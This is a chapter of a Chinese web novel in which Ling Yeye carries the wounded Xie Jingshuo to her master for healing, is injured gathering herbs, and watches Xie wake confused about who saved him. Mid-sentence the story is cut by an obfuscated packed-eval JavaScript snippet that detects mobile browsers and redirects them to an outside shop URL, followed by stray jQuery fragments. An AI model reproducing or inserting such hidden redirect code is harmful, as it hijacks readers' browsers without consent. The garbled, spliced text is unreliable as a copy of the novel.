第二日,凌叶叶又将谢景铄背上了马车,赶往七山。
也许是听到了马车的声音,师父他们都站在大门前等着。
她还没停好马车就急忙对师父叫道:“师父,救救他!”
马车停下,师父上车查看了谢景铄的情况,一把将谢景铄抱起往院中走。她紧紧跟在身后来到平时师弟的房间,刚被放下的谢景铄立马被师父用金针扎成了刺猬。
“叶叶过来,扶他面对我坐好。”师父对她说道。
她坐在一旁将谢景铄扶起面对着师父,师父双手抬起握在谢景铄手腕间,看样子是在用内力治疗谢景铄的内伤。能明显感觉到靠在她身上的谢景铄,身子一会冷一会热的,她的心也跟着七上八下,一点都不敢乱动。
不知过了多久,师父大汗淋漓,收回双手吐了一口气:“先将他放下。”
她听话地将谢景铄扶下躺好,再去扶师父:“师父,你没什么事吧?”
“没事。”师父摇着头,“倒是他,若不是底子好武功高,恐怕撑不到这里。”
“那现在是好了吗?”她试探地问着。
“哪又那么容易,伤得太重,刚刚只完成了第一步,还得继续,等会我要给他再施针用内力走脉,还得用药辅助。”师父看着她,“还记得师父在后山种的伤灵草吗?去取几株回来。”
“好!”她答应后起身就往门外跑去,似乎还听到师父在身后喊了什么,没太听清,应该是嘱咐她注意安全的话吧。
后山的路她很熟悉,很快便到了师父种植伤灵草的地方。而跟以往看到的不同,此时伤灵草四周还有着别的植物,像是师父新种植的药草。
凌叶叶没有过多的在意,上前拔了一株伤灵草,再往前走想继续拔的时候,脚下一软,左脚深深陷在了土里,怎么拔都拔不上来,甚至还有着刺疼。
土壤怎么会变得如此松软卡人?再定睛看了看旁边的新植物,她好像明白了师父最后跟她喊的是什么了,只能怪她太过着急没听清就跑。
叹了口气,她继续去拔身边的伤灵草,将伤灵草放进随身的布包后,脚怎么拔都拔不出来,坐在那动弹不得。
这样下去不行,不能一直坐着等师父来救。干脆直接用手去扒拉脚边的泥土,挖着挖着,手触碰到了新的植物根脉,又一阵刺痛从手中传来,痛得她抽回手朝痛的位置呼气,可手上却没什么印迹,就是痛。
一咬牙,她继续去扒开泥土,强行将陷在里面的左脚往外拉,刺痛加剧,渐渐又没了知觉。
终于,左脚被她拉了出来,可她也发现,左脚动不了了,一点知觉都没了。
她试着站起来,往前走了一步,整个人瞬间跌倒在地,磕得生疼。
不行,她不能在这里等。一边叫着,一边靠着右脚和手一点点往前爬。看着原本不远的距离,她心急如焚,谢景铄疗伤不能中断太久,师父在等着伤灵草,她得爬快一点!
“叶叶!”
“师娘......师娘!我在这!”凌叶叶大喊着,声音中都掺着点点哭腔。
师娘的身影出现在前方,一眨眼就到了她旁边:“傻丫头!果然是话不听清就来了?!”师娘将她背起,自责道,“都怪我,在周围种了那劳什子玩意!放心,擦十天半个月的药就能恢复如初,别怕。”
她靠在师娘背上,微微笑着:“师娘又在研制什么毒药吗?是要跟师兄比赛吗?我觉得这次师娘肯定赢。”
“我也觉得。”师娘得意地笑出了声。
凌叶叶被师娘背回了师弟的房间,师父拿了药草便磨成了药汁喂进了谢景铄的嘴里,再次坐在一旁为谢景铄疗伤。而她的脚,师娘给她敷了厚厚一层药膏。过了大概两个时辰,左脚终于有了些知觉,只是走路变成了一瘸一拐的。
一日过后,师父停下了给谢景铄的运功,被师娘扶着下了床:“这一关算是过了,等会我再来给他扎针放血。”
“多谢师父。”她感激地望着师父,“您又救了他一命。”
“我和你师娘先去休息了,你别只顾着他,脸上易容都花了你知道吗?”师父摸了摸她的头,叹了口气,跟着师娘走出了房间。
她愣愣地摸了摸脸,才想起来从乐城出来后,就没有卸下易容。看着床上仍然脸色苍白的谢景铄,她微微苦笑着,这人,好像已经变得非常重要了。
回屋洗漱了一番,她又去了厨房准备给谢景铄的流食,一点点慢慢喂给了谢景铄。直到师父在扎针放血的时候,凌叶叶才渐渐觉得困意袭来,趴在床边不知不觉睡了过去。
沉睡的人感觉到手心的温暖,沉重的眼皮却怎么也打不开,熟悉的感觉似乎让眼前的黑暗闪烁着光芒。一副不知所措的面容出现,是熟悉的,但却感觉不对劲,那是谢景铄重伤昏迷前见到的一幕。昏迷期间,似乎还听到了一对男女说着话,两人的声音也是他熟悉的,“大富”,“小叶子”......
一阵刺痛,谢景铄猛地睁开了眼睛,微微转头,看到的是另一熟悉的面容,是他长年都会去怀念的面容,他嘶哑着声音叫着:“恩公......”
那人淡淡地笑了:“你终于醒了,醒了就好,算是又救回了一条命。”
谢景铄虚弱地看着恩公:“是,大富将我,带来找您的吗?”
“大富是谁?”恩公微蹙着眉。
恩公不认识大富吗?怎么可能?
“你的徒弟,在外游历,想成功了回来找你。”他说道,怀疑“大富”只是个化名。
“我的徒弟个个都很成功,但没有一个叫大富,化名的都没有。”恩公看向了另一边,“是我这位傻徒弟救了你,将你从乐城带回,为了给你摘药,把自己的腿都弄断了,你得好好感谢她。”
他往下看去,不敢置信地张大了眼睛,凌叶叶熟睡的面容直击他心中,狠狠敲打了一下。
怎么会是凌叶叶?为什么会是凌叶叶?凌叶叶竟然会救他吗?为什么?
身旁的恩公站起了身,动静吵醒了睡着的凌叶叶,那朦胧的双眼迷茫地望着前面,嘴上迷糊着:“结束了吗师父?”
师父,凌叶叶叫恩公师父,凌叶叶和大富都是恩公的徒弟,不对,刚刚恩公说徒弟中没有叫大富的,为什么?
“谢景铄!”
开心又激
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704941|207728||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
动的叫声将他的思绪叫回,凌叶叶湿润的双眼越靠越近,摸着他的脸看了又看,这触感为何如此熟悉?那双手似乎也有着伤口,看进眼中,似乎心也伤到了一般,感觉好奇怪,为什么会对凌叶叶产生异样的感觉?
“你这是怎么了?怎么像傻了一样?”女子担心的神情闪过那深褐色的眼眸,只见凌叶叶急忙起身一瘸一拐地跑了出去,“师父,谢景铄是不是不行了?他眼神呆滞,好像快不行了,你再救救他,求求你。”
“他没事了。”
“可你看他现在的样子,跟个傻子似的,难道头部也受了伤吗?”
“他没事,你冷静一些。”
谢景铄听着凌叶叶和恩公的对话,疑惑更甚,他好像从未真诚对待过凌叶叶,他对凌叶叶很不好,他一直在错怪凌叶叶。可为什么凌叶叶还对他如此关心,甚至还为他受了伤。刚刚凌叶叶湿润的双眼让他心痛,现在越来越痛。
门外,再三跟师父确认过后的凌叶叶,还是略有担心地回到屋里,拖着左腿坐到了谢景铄床边的脚踏旁,再次打量着谢景铄,手敷在谢景铄的额头和脸颊上摸了又摸。
怎么回事,这人只会呆呆地望着她了吗?
“我是谁?”她问道。
眨了一下眼睛的谢景铄终于开了口:“凌叶叶。”
她笑了:“太好了,还以为你傻了呢。”
“大富呢?”谢景铄问道,“我记得,是他救了我。”
“对,是大富救了你,你们也算是有缘分,他已经回黄城去了。”她说道。
没想到下一刻谢景铄神情激动,硬是撑着身坐了起来:“他走了?他抛下我走了?不可能。”
凌叶叶无奈,真的大富对谢景铄又没有感情,当然不会为了谢景铄留下来面对危险。
她舔了舔唇,深吸一口气,开口道:“谢景铄,其实我才是......”
“噗!”
一口血从谢景铄口中喷-出,黑红色刺疼了她的眼:“谢景铄!”
“他是为了什么离开?肯定是有原因对吗?”谢景铄眼神迷离地盯着她,紧紧拉着她的手,血还在从嘴角流出。
她扶住谢景铄,害怕地朝外大喊:“师父!他吐血了!师父!”
门被师父打开,师父快步走到一旁把着谢景铄的脉搏,温柔地摸了摸她的头:“傻丫头,吐-出这口淤血是好事,别担心。”
她松了一口气,微躬着身闭上了眼,真是太吓人了。
“这可怎么办啊,我家傻丫头情根深种了。”
一瞬间,凌叶叶坐直了身满脸发热,迅速回头看向谢景铄,而谢景铄已经再次昏睡过去,她吐了口气又软下了身:“他不喜欢我,他喜欢另一个我。”
“那不都是你吗?”师父淡淡说着,“反正都是你,你就告诉他,不喜欢,就纠缠他,缠到他喜欢你为止。”
“师父也是这样追师娘的吗?”她好奇地望着师父。
师父刚张开了嘴,师娘的声音突然从外面庭院传了进来:“胆子够大啊,竟敢闯到我这来,尝尝姑奶奶的剑法!让你们知道有些人不是你们能招惹的!”